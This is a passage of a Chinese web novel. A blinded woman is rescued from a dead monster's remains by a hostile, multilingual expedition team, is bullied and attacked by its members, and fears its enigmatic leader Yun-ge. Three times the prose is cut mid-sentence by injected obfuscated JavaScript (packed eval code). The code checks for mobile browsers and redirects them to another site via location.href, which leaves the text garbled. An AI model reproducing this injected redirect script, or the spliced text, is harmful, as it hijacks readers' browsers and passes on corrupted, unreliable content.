我的后背、臀部、膝盖都传来磕碰后的疼痛。刚刚那阵天旋地转大概不仅是生理上的错乱感,也是在物理世界中实际发生的事情。 最为严重的是,我的胸腔承受着重物的挤压,是吞光者遗留下来的附肢压迫着我,让我快要窒息。 那些肢体失去了主人意志的操控,不再肌肉绷紧得如同钢铁铸柱,但也沉重得像是失去弹性的橡胶树。 我再顾不得其他的事情,惊慌地推动那些附肢,挣扎着想要从空隙中爬出来。 可我费尽力气也只是将小臂探了出去。我不仅怀疑我的力气是否能够完成这项工程。 这时,吞光者的附肢堆突然遭受到某种外力,相互挤压滚动起来。 我差点被其碾碎,但终于有小半个身体得到解放。 我来不及思考原因,只抓住机会大口喘息,就在此时,我听到一句人类男性的声音从很近的地方传来。 这种久违的人声突兀地出现在耳边,吓得我浑身都收紧了,下意识辨别其含义和来源。 那句话是英文。 我下意识让那句话在心底滚了好几遍,才勉强猜测出来,那大概是在感叹,“这里xxx有人……?” 27. 他长得很标准 我还记得,我刚从黑湖苏醒时,在那座洞窟中就充斥着各种不同的语言,让我怀疑自己来到了什么万国人类收藏库。 到了筛选的时候,主持分组的持光者使用的是中文语系,或许为存活者设置了一道语言的门槛。 但走入光圈参加分组的那些选手们,依旧具备丰富多样的肤色以及各不相同的人种特征。 可后来我去了四号基地,不知道是暗藏着某种原因还是巧合使然,我在那里结识的大多数人都说着中文,让我逐渐遗忘掉了这个世界中人类群体的国际性。 直到此刻,听到这句英文时,我才回想起来,便利的语言交流或许不是理所当然的事情 我立即呼喊,用简单的英文语句来求救。 于是有人开始翻动吞光者僵死的附肢,将我从中拉了出来。 我的眼睛仍然不能视物。 但我能感觉到有几双不同的手触碰过我的身体,然后又离开。 我似乎被弃置在了某块冰冷的地面上。 我尚未弄懂他们的态度,又怕在失明中不慎落入旁边的泥沼,只能谨慎地待在原地,一动都不敢动。 我听到他们围着我,自顾自地用外语叽里咕噜地交谈。 有好几个人,有男有女。 受当年的教育条件限制,我对英文的听说能力远远逊色于书面阅读。 更何况,他们的交流中混杂着各种别扭怪异的发音,我怀疑这些人也并非全都以英文作为母语,只是相互迁就着使用这种语言作为桥梁。 我听不懂。 我没意识到他们交谈的主题逐渐发生了变化,更没察觉到有人是在朝我问话。 当那语调变得严厉时,我还未来得及作出合适的反应,就有人用火焰燎烧了我的头发。 蛋白质的焦糊味比灼热的温度更快传来,我对这个比对语言更敏感。 感谢我在那悲惨童年中积攒起来的丰富经验,我立刻知道发生了什么。我尖叫着跳起来扑灭了我头发上的火焰。 不顾外人冒犯的嘲笑声,我心有余悸地摸遍了全身,确认没有其他的火种,随后闭紧了嘴,拒绝再发出一声惨叫。 我抱紧双臂戒备地用空洞的眼睛瞪着他们。 他们丢来几句零星的问话,我都没有给出回应,直到我终于听到一声轻佻的中文,“喂,听得懂吗?” 我立刻将下颌对准了那个方向,随后得到的是一句质问,“你为什么和怪物待在一起?” 我张开嘴,找了一下与人类交流的正常发音,用干涩的嗓音回答道,“那只怪物……想要做巢母,它抓了我过来。” “巢母?抓你?” 我很早前就准备过回到人类集体时的说辞,“它先前打伤了四号基地的巢母,是真的,你们可以去问四号基地。 “它没能打赢那只巢母,没法取代那个位置,还一直在和那边的眷属打架。后来它就绑架了从四号基地外出的小队……我是唯一的幸存者。” 我只说了一句没有依据的推测,“它或许把我当成了种子。” 然后等待他们的理解或者自以为理解。 对面的人发出一声嗤笑,不知是在嘲笑怪物可悲的妄想,还是在嘲笑我可笑的落难处境。 懂得中文的人应该不止他一个,因为我听到人群中已经在窃窃私语。有人在翻译,感兴趣的人很多,人们在用各种语言讨论这桩新鲜事。 不时有人插嘴询问我细节,我只回答容易被他们求证的部分。 很多事情没必要讲出来,这样他们才会相信我的笨拙和木讷。受害者的精神状态不稳定,记忆也混沌,这才是最好的保护色。 提问者都更在乎怪物的事,只有一个人问了四号基地,“你们那儿的闻兰还活着吗?” 我迟疑地反问,“兰姐?” 那人哼笑了一声,听上去也不像是关心,而是冷淡的嘲讽。他不追问,我也不多说话。 我竖着耳朵在他们的讨论中辨别我能听懂的语气和内容。有人说,“可惜了,巢母可难找。” 立刻有人笑着问,“难道你也想分出去?这可得云哥答应。” 前一个人立刻回答,“不不,我哪舍得离开,我还想再跟在云哥身边多长进呢。” 我敏锐地察觉到了一丝不和的苗头。 如果他们真的来自一号基地,那么,一号基地与分基地的关系,很可能与我们先前根据兰姐的描述而想象出来的,那幅和谐友爱的图景,有所不同。 那些语声逐渐散去,似乎这样离奇的故事也不值得他们多咀嚼一番。 我听到他们似乎在忙碌,却没有一个人出声安排我,或是给我指引。 ……这作风的确与四号基地有所不同。 我的视线终于慢慢地恢复了。我最先看到的是模模糊糊的火焰,大概来自于那个制造火墙的能力者。 随后我看到人们的身影,他们将吞光者遗留的那些肢体从泥沼中挖了出来,围着那些挑挑拣拣。 如果不是确认我未曾挪动过位置,我很难相信那堆颜色惨淡的肢体碎块就是吞光者的遗落物。 在我印象中吞光者一向是异形黑洞的代名词。 可它们已经不再具备那种能吸收光线的特质了,像是曝光过度的照片般,苍白枯朽,断裂脱离。 我很快又看出,从那皮肤中裂开的一些痕迹,隐隐像是过去被吞光者强行融合的部件轮廓。 我用手摸索着地面的软硬,避开可能陷下去的泥沼,走过去凑近看那些人干活。 他们用锐利的军刀剖开失去黑暗色泽的皮层,在皮肤深处寻找着什么。 他们所用的金属制品的质量比四号基地的要好上好几个档次。吞光者的皮肤哪怕已失去生命,在我摸来也像是老化坚硬的橡胶,却会在他们的刀下如脂肪般被轻易地划开,露出其下隐藏的来自其他生物的构件。 他们检查一番,然后随意将逃出来的战利品丢弃到旁边的泥沼中。 ……我不知道自己是否期待,又或是在害怕看到他们从中找到一个本该属于人类的颅骨。 那种事情并没有发生。 我也并不认为他们是在和我寻找同样的事物。无论如何,结果似乎令他们失望。 当他们细细翻遍了吞光者留下的最后一条附肢后,终于有人气急败坏地来问我,“它的能源中枢在哪里?” 他一定是犯蠢了才会来问我这样孱弱的怪物俘虏。 我立刻摇头。他大概也意识到自己的愚蠢,没有回答我关于能源中枢是什么的问题,气愤地走开了。 我心想,看来他们并不知道吞光者逃跑了,以为被吞光者抛下的肢体就是那只怪物的全部。 毕竟,当时战斗中的光照太强了。 极度的光就等于极度的黑暗。 不止我没弄懂当时战场中的具体情况,投下武器的人也只能等待观看最后的结果。 我不知道吞光者是用什么办法金蝉脱壳的。 我远远不够了解这只怪物的生物形态和能力,我甚至不知道能源中枢是什么。 但我握有它的心灵,我在无数次的实验中掌握了我的新能力。 我知道的,当时它是先变得虚弱,然后在距离上逐渐离我远去,遁去了我无法感知的地方。 如果那份飘渺的体验还不足以说明问题,那这群人的工作成果就足够让我确信这个结论。 眼前这些残骸的份量,与我所熟知的吞光者的体型,似乎存在着微妙的差异。 吞光者抛弃了绝大多数身躯,但它没有死亡。 那群人敲碎砸坏了吞光者留下来的所有残骸,最后还是未能有所收获。 他们失望地收工,灭掉火焰,依旧是使用更加便携的光珠子,结队离开这里,将遗弃的残骸与泥沼丢在身后。 没有人叫上我。但我跟了上去。 有几个人回头看了看我,小声嘀咕了几句,可最后也还是没有驱赶我离开。我听不清他们的讨论,但能依稀辨认出“云哥”和“交差”两个词语。 某个人管理着他们。 某种制度限制着他们。 除此之外,我还能得出的判断就是,若没有那个人和制度,他们的本意就是想要丢下我。 我得立刻找出能帮助我的人和制度。 我跟在队伍末尾观察,数出来他们一共有九个人。 我分不清谁是谁。我勉强计数出,至少有三个半以上的人能说中文。最后面那半个说得很磕碜,听上去不像是母语者。 大概是因为狩猎的结果不如人意,他们仍在用各种语言交流,似乎在商量着该怎么办,有些人的语气听上去很是愤恨。 他们大多数时候用英文,偶尔也会用其他语种。 他们之中,有些人的关系比其他人的关系更要好。那些特殊的语种在此时充当了屏障,让他们可以当众进行私下交流。 但他们也并非完全以母语来划分小团体,情况似乎比这要复杂得多。 我不擅长,也厌恶梳理这种关系,但我无法置身事外。 哪怕我听不懂他们的明争暗斗,冷嘲热讽,可那些相互抱怨指责的语气,也足够让我意识到,他们在战斗中表现出来的团结合作只是形势所迫,绝非他们日常相处的自然状态。 我没有大哥那样的眼力和情商,不知道该怎么站队。在那之前,我甚至不知道该如何真正进入这个集体。 所幸的是,这样复杂的混乱很快就被终止,或者说,被更大的问题给掩盖住了。 队伍还未行进多久,我就看到通道对面又走来了一群人。 路途中那些不和的气息立刻都消散了。突然间所有人都面带微笑,令我目瞪口呆。 他们的步速变快,似乎是争抢着想要上前去汇报。 四号基地里的人就从来没有眼前这种活力,矿工们所服从的是对自然的恐惧,而不是具体的某个人或某群人。 我心中有某根弦立刻绷紧了。我见识过那么多黑心老板,对工作环境的水温很敏感。 这种活力未必是因为上位者给出了足够多的希望。工资越低的地方人们越卷。这种竞争也有可能是因为分饼不均。 人们只有在看到阶级差异时,才愿意竞争。 要么争先者有利可图,要么落后者会遭遇残酷对待。我很希望不要是后者。 与老板的脾气相比,同事间的抱团都能算得上是微不足道的小事。 我很快就找到了让氛围发生变化的源头。 那个人很突出,因为只有他脸上没有笑容。 他并未走在对面那群人的最前方,而是走在最后,像是押送羊群的猎犬。 两群人会合的时候,他前方的人停下脚步,将他的身影让了出来。 我们这边也及时止步,让刚刚有意识争抢后的排位顺序尘埃落定。 两边人群中就只剩下他仍在走动,像是一位皇帝走进他那放眼望去都是笑颜的后宫。 离他最近的那个人抢到了汇报的权力。 那人用某种我陌生的语言汇报,他在认真聆听。 我不由自主地看着那个人。 我向来很少注意别人的脸,但是,那个人长得很标准。 我在获得手机前,不放过任阅读任何有字的读物的机会。我曾经在某本杂志上看到一个观点,认为人类对同类的审美追求是标准化。 有人做实验证明,一万个普通人的照片能叠加出绝世佳人的剪影。 所有人类的平均值就是最美的,是基因发展没有遭受任何病害和污染,在自然状态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407512|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下所能抵达的最极致的均衡。 他就很接近,不,或许就是那样的一个平均值。 既不高得盛气凌人,也不矮得残缺抱憾,既不过瘦也不过胖。 面貌既阳刚又阴柔,既狂野又秀美,一切都糅合得恰到好处。 我甚至觉得,自己的脸盲症都得到了治愈,像是有人在混乱的分布图中放置了一个坐标轴的原点,为我建立起了一套清晰的评判体系。 我几乎是立刻给他身侧的其他人都取好了代号,大小眼、瘦腮、高额头…… 可那样清晰的视界只是一个错觉。当他低头检查别人呈递的残骸样本时,他周围的人脸又变得特征模糊。 这副药大概需要更长期的服用。 由于狩猎吞光者后没有得到理想的战利品,向他汇报的人撤下了微笑。 所有人都在微调自己的表情,试图与氛围一致。 由于汇报者似乎故意使用了较为小众的语言,他们根据对情报的理解程度,各自露出忧虑或生气的情绪。 只有那个人,仿佛没有看到所有的风向标都在随着风向摇摆颤动,完全不为所动。 他简短地用一句话终结了对方的汇报,对吞光者的残骸碎片不再多看一眼,转头越众向我走来。 我的心跳情不自禁地加速。 他或许已得到足够信息,开口时竟然是如他外貌一般标准的普通话,“你的能力是什么?” 我此刻才意识到,在他问话前,竟然没有其他人问我这个问题。 是因为我表现得过于弱小而遭人轻视了么?我希望这种轻视能让我的谎言显得更加可信。 在此刻断然回答说自身没有能力,似乎是不符合常理也不明智的。我从大哥那里学到了很多说话方式。 我为自身留下转圜余地,用更加谦逊哀愁的态度回答,“……我不知道。” 这句话竟然没有为我招来嘲笑。 或许是因为他在场,其他人都很安静。 他一言不发,继续用估量的眼神看着我,久久不曾挪开。 场中所有的压力都来源于他。我对他毫无了解,但已从他人的态度中感受到他慑人的力量。 他沉默的注视,让我心跳不受控制,呼吸也变得急促,快要透不过气来。 我有些怕他,但我没有感受到他的情绪。 我不知道是这微弱的害怕生效了,还是他原本就用理性作出了判断,他转头对别人说,“带上她。” 然后转身走开。 没人质疑他的决定。 我暂时有了安身之处。 他往某个方向走了几步,然后停下来。 其他人会意地行动起来,成群结队地走入那个通道。 被他吩咐过的那个人强行架住还没反应过来的我,跟了上去。等进入队伍后,我摆脱了那个人的挟制,回头看去。 等所有人都开始行进后,他才不紧不慢地跟上,走在队伍的末尾。 某些参与了狩猎吞光者但未抢到汇报机会的人,试图在此时补叙一些信息,避免被同伴栽赃套上偷盗能源中枢的罪名。 终于,我听到了他用普通话作出的简短回复,“它没有死。” 我的心猛然一跳。 我不知道他是从何得出这种判断。明明他没有抵达现场。他对事情究竟了解多少? 我感觉到有某种恐惧正在渗入我的骨髓。 队伍没有回头去察看吞光者的残骸。人们根据他的指示前行。很快,我们到了一座矿场。 这支队伍快速清除了盘驻在此地的生物。人们停下来从矿脉中收集黑水和光珠子。 我没有动那些光珠子,只跟着别人补充食水。有能力者将火焰燃烧起来照明,这种光线比光珠子更加温暖。跳动的焰火明明暗暗,更有活力。 众人都坐下来休息。 我抓住那个被吩咐了要带上我的人,问他那个发布命令的人是谁,能力是什么,以及我们要去哪。 那个人很不愿意和我说话,又无法摆脱我,只能耐着性子简单回答问题。 那个长得很标准的人,果然就是先前别人口中提过的云哥。 而云哥的能力,据说是能吞噬怪物的力量,也能帮助他人增长能力。 我心中一惊,终于明白了众人对云哥的敬畏和讨好,也隐隐猜到,为何只有云哥对我的能力感兴趣。 我很想继续了解云哥是如何分配他的恩惠和惩罚,这里到底有着怎样的制度。 但那个人只匆匆回答完第三个问题,就嘟哝着说我不是他的责任,然后急忙走脱。 我们要去的地方,是地上。 这群人就是一号基地的探索队。 我对这个答案有所预料,但真听到的时候,依旧觉得不可思议。 我被困这片黑暗中已经太久了。我从未察觉到的思乡之情在此时突然升腾起来。我并不怀念具体的人和事,但我确实怀念过去,怀念阳光下的生活。 趁我消化着这短暂的喜悦,那个人匆匆走开。他一躲入人群,我就再也找不到那张脸了。 但我这边也并不冷清。 当我唯一的庇护人离开后,几个人立刻就围了上来——或许就是事先觉察到这点,那个人才走得这样快。 他们追问我被怪物俘虏后的生活细节,逼问我吞光者逃走后会去哪。 我不希望他们找到吞光者,我不想当着人类的面再和怪物扯上关系。我直说我与怪物生活在黑暗之中,我不认识更不记得怪物曾带我走过的路。 他们不满足于这样的答案,不掏出点什么就不肯罢休。 他们嘲讽奚落我的弱小和愚蠢,质疑我的体力,嘲笑我的外貌。 我转头看向坐在远处休息的云哥,那个人无动于衷。 28. 手机 这份默许加重了旁人对我的欺凌。 那些人问我是否真的没有能力,甚至恶意地开玩笑说要帮我逼出潜能。 我警惕地摸索着固定在自己小腿上的用某根鳌刺加工成的短兵器。 这个动作将他们的注意力引到了我的装备上。他们围住了我,有人从后方抢走了我的背囊。又有几只手臂拦住了我,不许我争抢。 他们嬉笑着,将背囊中的东西都倾倒出来,我从小妹他们那里接收的遗产,还有辛苦收集来的珍贵战利品,被当成废铜烂铁撒了一地。 他们拿走了光珠子,用脚踢开其余洒落的物品,嘲笑它们的破旧与无用。又再用力抖了抖我的背囊,让最后的零碎物件也从中掉了出来。 是我的旧手机。 我在这个世界醒来后立刻收拾起来的第一件财产。 因为手机在这个世界里过于无用,以至于一直被压在背囊的最深处,没有遗失的机会。 “哈……”那些人发出了更大的嘲笑声,却又戛然而止。 一只极为标准的手,捡起了那支手机。 是云哥。他不知何时从火焰的阴影中走了出来,来到这里。 “这是什么?”他问。 他是在问我,所以用的是普通话,而旁人也抢着用普通话讪笑着回答,“这样过时的型号云哥肯定没见过。都这年头了,谁还从上面带电子产品下来呀。” 他将手机拿在手中翻看了两下,用极为标准的手指摸了几下按键。 手机不给任何人面子,就像对待我一样,极为公正地对他也报以黑屏。 “嗨,肯定是开不了机了。都坏了。”旁人也颇为感慨地说。人们猜测云哥大概是在感伤过去的好时光,纷纷再度挂上了应景的表情,就连扫向我的余光都变得温和。 他抬起眼睛,“能修吗?” 这个问句让人群安静了一瞬。随后,他当然会得到顺应他心意的答案。 人们为此提出了各种方案。先要检测,若电路浸过水的话自然是要更换配件的。最重要的还是电力,运气好的话,这次上去地面或许能找到发电机,搞点燃油,再弄到电压转换器,就能为手机充上电了。 网络是别想了,若云哥想玩个单机小游戏或许还是成的。 我没有吭声。 ……我的手机里只有通讯软件和各种接单程序。 我的手机在众人手中被传了一圈,等他们纷纷发表完自己的维修计划后,回到了云哥的手上。 他点点头,将其递回给了我。 我没想到他还会将其交还给我。或许他只是不想亲自保管。虽然他表露出了对其未来的兴趣,但这个手机在当下依然是个毫无用处的废物。 我默默地将手机收回了自己的背囊中。 这个手机现在承载了他的期望和众人的任务,可能会成为我的保护符。 其他人都散去了。我将散落在地上的其他物品都收拾好,放回自己的背囊,重新将手机压到了最深处。 我心中又觉得有些不安,等到熄灯之后,再摸黑将手机从背囊转移到我的衣服内兜。 我们的营地背靠着刚刚挖掘过的矿壁,对外的出口处由特殊能力者设置了一片泥沼。有两个人被安排守夜。所有人都熄灭了光。 我为自己挑选了一处僻静无人的角落,背靠着墙壁躺下来休息。 这里是新的环境,新的人群。 我在黑暗中警惕地睁着眼睛,直到困意将我的意识带入昏沉。 我睡得不好。我不时发噩梦。 梦见残缺的吞光者来找我。梦见我期待的地面世界是一片火海炼狱。梦见我被众人欺侮。 我还梦见了一双极为标准的眼睛,他沉默地注视着我。 我猛然醒来,心跳得厉害。 周围很安静,杂乱的呼吸声像是合奏。众人都已入睡。 我告诉自己要争取时间休息,明天的路上没有人会停下来等我。 可再次入睡变得异常艰难。 我不知为何有些心烦意乱,突然间我想起来我上次心烦意乱是在什么时候。 我闭上眼睛,想要感受近在咫尺的情绪。 我怀疑有被我能力影响到的意志在想着我,或是在窥伺我。可我不知道对方在哪里。 是吞光者回来找我了吗?还是有以前被我做过实验却放走的生物在附近? 我装睡装了好一会儿,然后突然伸出手臂,在黑暗的空气中一阵乱打,但我什么都没有摸到。 我从背囊中掏出一些杂物,散乱地围绕自己的身躯放了一圈。如果有生物接近,一定会触碰到。 我倒下来继续装睡。黑暗中很安静。 那种如影随形的感觉一直都没有散去。最后我习惯了。我用身体枕着内兜中的手机,确认它一直都在,然后就不知不觉地睡着了。 第二天的路途上,我更加留心观察这支队伍里的规则。 云哥依旧走在队伍末尾。 我怀疑他也有脸盲症。因为他的所有吩咐都只对最近的人做,而不在乎那是谁。 有时对方还不太懂他使用的语言,得再找一个翻译,但麻烦都是别人的。如果不主动问他,他很少复述。 靠近他的那个位置被人们不动声色地争抢。 人们簇拥他又不敢过于靠近,偷偷退到队伍尾端又不敢让整体行进速度过慢。 我在刚出发时,原本走得很靠后,但是不知不觉就被推到了队伍最前面,回头也看不见那张标准的脸。 倒也不用担心该如何领路,我只要一直往前走就好了。因为需要选择时,命令会自后方传来。 我以为我足够熟悉周边的地理和生态了,但很快我就发现,云哥更胜一筹。他大概很久以前就来过这里,比吞光者称霸要更早。 他在前行中分配任务,派人去侦测某个方向上的路线变化和矿脉分布,又或是让人去遏制周边某种生物的种群数量。 他对整体生态有着自己的理解和把握,处理起来就像是修剪后花园般轻松写意。 正如我先前观察到的,他发布任务时从来不点名也不挑人,都是任由最近的人去负责组织。 他顶多会报出任务中目标生物的一两项弱点。我怀疑那个针对吞光者习性的战术策略就是由他制订的。 大家在得到命令后,各自找熟人去完成工作。 这附近除了有主的巢母外,大概再没有像吞光者那样的强敌了。 他们昨日为了狩猎吞光者,是特意分兵两队出动,搜寻到处游荡的目标。 云哥那队恰巧运气不佳,等放弃埋伏赶来现场时,只看到了铩羽而归的分队和他们带回来的我。 云哥似乎判断认为吞光者短期内不会再出来兴风作浪,也不打算对受伤惨重的吞光者赶尽杀绝,他今日派发的工作任务目标都很简单。 那些人大多数是三四个人组队出发,没有人叫上我。 人们来来去去,队伍时长时短,只有首尾永远不变。 云哥没有亲自出手。 我也没有参与任何行动。 这一天快到了尽头。我的身体用疲惫提醒着我。 队伍也越来越长,那些外出的人都已经归队。 已经向云哥完成了汇报的人,心满意足地回来,乐意往队伍前方靠拢了。 队伍行进的速度在悄然加快。 有人在我身后“喂喂”的喊叫,用粗野的语气发出长串的声音。 他用的不是中文,我假装没有听懂他是在对我说话。 那个人又去找他旁边的人,他们小声嘀咕了一会儿。 我知道那大概与我有关,警觉地竖起了耳朵。 果然,在他纠缠了许久后,他旁边的人不情不愿地小声用中文对他说道,“小姑娘,想看我的火吗?” 我的脊背立刻绷直了。那个人又拍了把我的背,用变形的语调对我模仿了那句话的发音。 我停下脚步,转头看向他。 那个人有着与其嗓音相符的四五十岁的脸,穿着油腻的夹克衫,手按在□□上。 我的余光扫到旁边的人,那人立刻转开了头。这个逃避的动作,立刻让我想起了昨天被派来看管我的那个人。但我不确认脸是否对得上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按住我的人已经打了好几下,大概觉得解了气,就在劝和声中停手,但仍紧紧抓着我不放。 而我已积蓄好力道,在此时突然发力,也从被他抓住的那支小臂中借力,弓身时用膝盖重击他的下身。 我没有多少耐力,不能像男人一样反复摔打对手,从来只练习如何将有限的爆发力用在刀刃上。 他俯下身来,松开了手。 我趁机逃出了他的掌控,不顾他人对插队的不满,退往队伍的尾端。 我听到那个人发出后知后觉的惨叫,是一阵胜过一阵的哀嚎。 我当然知道我的膝盖上有什么。 那里也缝了一块来自四足蜘蛛口器的翻皮刺甲。 我赌那个人在吃亏后不会求救告状。因为众人都乐于见到这样的笑话。 要报复的话,他得亲自来找我。 我往后逆行。 这支队伍越往后,风波就越小,人们不愿意生事的态度格外强烈。 我强行挤位置,插到了云哥前两三排。 其他人要维护形象,对我这样敢豁出去的刺头无可奈何。 我不紧不慢地继续跟着队伍前行,再度走过那个人身边时,他还靠在墙边,脸色苍白,气喘吁吁,已经从惨叫收敛成了唏嘘。 他怨恨地瞪着我,却直不起身来,现在他的两只手都扶在那宝贵的裆上了。 队伍末尾的云哥在路过时看了他一眼,他只能勉强拖着脚步赶上来,汇入了前方的队伍。 这天,我们夜宿在一个宽阔的洞窟中。队伍中的能力者照旧在营地外围设置了一圈沼泽作为防线。 我的脸肿得很厉害。我用棉布沾了黑水来敷,又用滚烫的光珠子在棉布上来回滚动,希望能让脸快点消肿。 有人来到了我的旁边,但没有立刻说话。 我抬起捂着敷物的脸,瞥了他一眼。 29. 夜半 我勉强认出来对方是那个和事佬。不大能确信,再看看。 他说,“再有三四天就去到地面上了。” 是他了。 他说完后踌躇了一会儿,闭着嘴走了。我很感谢他主动提供的信息,但我不知道他到底是来做什么的。 他走入人群,将我的视线引去了人最密集的地方。 我捂着隐隐作痛的脸,远远见识到了云哥那所谓的吞噬与增幅的能力。 人们在白天的任务中有所猎获。他们剖开从猎物中取来的某些器官,从中挖出光彩夺目的核心。 那就是所谓的能源中枢吗?既然这里生物的血液能够发光,那么富集了营养的脏器能闪耀光彩,似乎也很正常。 人们将那种一看就很珍贵的玩意上交给云哥。 云哥表情依旧平淡,他一手握着那块小巧的核心,一手按住另一人的手。 他手中那核心块的光芒迅速变得黯淡,转眼就腐朽成飞灰。 与此同时,接受能力增幅的人类身上却没有什么显著的外在变化。那些人似乎对变化有所自知,红光满面地站起来,回到同伴中去。 无论任务是由几个人共同完成,每次去缴纳核心并获得赐福的人却只有一个。 他们应该是提前协商好了如何分配。 难怪这里的小团队关系这么紧密又紧张。 我对云哥能力的表现形式有所疑虑。但我对眼前的世界所知甚少,只能暂且接受已知的答案,并保持观察的态度。 又有人向云哥走过去。那人走路的姿势很别扭——是在我膝盖上受伤的那个人。 我一瞬不瞬地看着他。 那人大概是和同伴做了什么交易,手中竟然拿出了三枚核心。 虽然那些核心每粒都很小,但我猜在这样的队伍里,不采用平均分配的方案,而是独占眼前的收获,是要向同组队友承诺很大的利益让步的。 云哥帮助他增长能力后,他站起身来,掌中冒出了一朵炽热的白火,像射线般溅出星星点点的光。 他握拳熄灭了它,转头将恶狠狠的视线投入人群。 他没有立刻找到我。我低下头避开了那个视线。 但我知道他想要看谁。 这天,我比前一日更早找到并占据了看中的位置。 可在我休息前,有人过来,硬生生将我挤到了一边去。这时周围的空地差不多被占满了。 有几个人故意跟在我旁边。我走到哪就占据哪里的铺位。 我看到那个操火者,就站在人群特地空缺出来的位置中,等待着我。 我看了他一眼,转身走出人群。 在人群的外围,沼泽边还留有一圈空位。跟着我的人都犹豫着停下了。 在这里睡的话,半夜翻个身都可能误滚入沼泽。 我毫不胆怯地紧挨着沼泽的边缘躺下。 有人不怕死的话大可来找我。 我不介意多拖几个人陪我进入沼泽。 在这天的最后一丝光熄灭后,我立刻转移了自己的位置,悄悄挪到别处。 我依旧坐在泥沼边,在黑暗里用双臂从沼泽中挖出泥巴,围绕自己的身体外侧垒了一圈堡垒。 如果有人摸黑走近,踢到泥巴时,或许会以为这个角落里也是沼泽的范围,绕过我的地盘继续前行。 我又用绳索圈了几个活绳套,放置在泥垒顶部,将绳头缠在自己的手腕上。 若对方涉足进来,踩中圈套的话,我只要一拉就能将对方绊倒。 但这个得赌运气。 我动作迅速,又小心翼翼地尽量不发出声音。可工事只做到一半,我就听到了脚步声。 我猜到了有些人没什么耐心。 我毫不留恋未完成的工作,将自己蜷缩起来,卧倒在已完成的那段沼泥堡垒里,将耳朵贴在地面聆听动静。 那脚步在我熄灯前所待的位置上走了两圈,伴着焦虑粗重的呼吸声。 那家伙大概发现我不在了。 我听到他跺脚,但他忍住了没有怒吼,也没有喊叫。 脚步声停了片刻,然后慢慢在周边来回走动,扩大搜寻范围。 如果那人不想失足落入沼泽,肯定会像我先前一样,在黑暗中用手或脚不断试探泥与土地的边界,慢慢前进。 他一定是贴着沼泽的边界走的。 也就是说,他一定会极度接近我的沼泥堡垒。 但他很难在第一时间判断虚实,就算发现了不对,也会有一个反应时间,那就是我的机会。 如果他用手摸地面,重心就会比较低,最好从侧面推倒他。如果他是用脚踩来试探,另一只脚就不会太稳,可以试着绊倒他。 我听着他走路的声音,猜测是后者。 我还有绳套陷阱在等着他。 我在黑暗中耐心等待,可是,当那个脚步声逐渐接近,我的心跳也如鼓擂般剧烈之时,那个声音却突然在近处消失了。 是他察觉到不对,停下来在思考? 还是已经发现了我,换了潜行的方式靠近? 我屏住呼吸,然而却无法克制住汗水,任由它一点点渗入旁边的泥土之中。 时间又过去了很久,久到足够执一个人行完好几次战略。 但是,在这片平静的黑暗中,什么都没有发生。 我数着自己的心跳,它从快到慢,又从慢到快。 我故意吓了自己好几次,终于连警醒都提不起劲来,只能放任心跳逐渐回复平稳。 似乎有什么已经结束了。 我不明白。 我先前太专注了,等放松下来时,才突然发现,自己又被昨晚那种异样的情绪笼罩住了。 我不知道它是从何时开始的,或许在熄灯前就伴随着我了。 至少那情绪没有对我造成什么妨害,我决定再次忽略它。 我将所剩不多的精神放到了那个脚步声突然消失的位置上,随时准备着应对可能卷土重来的袭击。 我突然感觉到有人在摸我的脸。 我立即启动了预先设置好的行动方案,不经思考就捉住了那人的手,用力翻身想要将他扯入泥沼。 这是自杀式的袭击,运气不好的话我也会掉下去。 可优点是成功率高。若对方没有准备的话,就算是成年男子,也该失去平衡。只要进入泥沼,对方的体重和力气就都不再是优势。 要么我将他按死在里面,要么我同他一起死。 可出乎意料的是,我用尽全身的力气都没能拉动对方分毫。 倒是让我的身体撞进了对方怀里。 我的呼吸停滞了一秒。 我感受到对方稳如泰山,没有趁机袭击我,也没有动弹。被我抓住的那条手臂轻而易举地悬在原地,哪怕吊着我半个身体也没有丝毫晃动。 我放弃了第一个方案。趁他没有动静,我立刻从他怀中退了出来,迅速从兜中掏出了光珠子。 操火者的能力会造成火光,我不知道他打算怎么遮掩,但我没打算帮他,我早想过了在必要时刻主动开灯。 将事情闹大,或许能争取到一丁点外界的帮助。 就算他事先将所有人都打点好了,毫不畏惧火光亮起的话,那么,我也该先发制人,将光线转变的时机把握在自己的手里,用它来成就我的攻击。 趁光骤然亮起之际,我将滚烫的光珠子往对方脸上按去。 我在刺目的光明中眨了下眼睛,想要找准对方的脸,对方的眼睛。光明和黑暗都是能直接影响人感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447584|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官的攻击手段。光是滚烫的光珠子。暗是沉重的沼泥。 我一手抓着光珠子,一手糊满了沼泥。 但我的两只手被对方拦截并控制在了半空之中。 我看清了那张过于标准的脸。 那不是操火者,是云哥。 我的心跳正在加速。我承认我每回面对云哥时都不大正常,我承认我莫名其妙的就是在害怕他。 